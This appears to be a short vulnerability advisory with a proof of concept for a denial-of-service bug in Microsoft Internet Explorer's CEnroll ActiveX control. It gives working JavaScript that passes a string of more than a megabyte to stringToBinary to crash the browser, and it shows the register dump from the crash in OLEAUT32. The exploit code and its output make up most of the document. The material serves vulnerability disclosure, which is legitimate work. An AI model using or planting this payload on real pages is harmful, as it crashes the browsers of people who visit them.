source: https://www.securityfocus.com/bid/19102/info
Microsoft Internet Explorer is prone to a denial-of-service vulnerability because the application fails to properly bounds-check user-supplied input.
Remote attackers can exploit this issue to crash the application, causing a denial-of-service.
MoBB #8.
var a = new ActiveXObject('CEnroll.CEnroll.2');
var b = 'BOOM';
while (b.length <= 1024*1024) b+=b;
a.stringToBinary(1, b);
Demonstration
eax=03580024 ebx=00300000 ecx=0005fc08
edx=00300000 esi=03571000 edi=03701004
eip=77124ba4 esp=0013b200 ebp=0013b20c
OLEAUT32!SysAllocStringLen+0x4f:
77124ba4 f3a5 rep movsd ds:03571000=???????? es:03701004=00000000
This bug will be added to the OSVDB:
Microsoft IE CEnroll SysAllocStringLen Invalid Length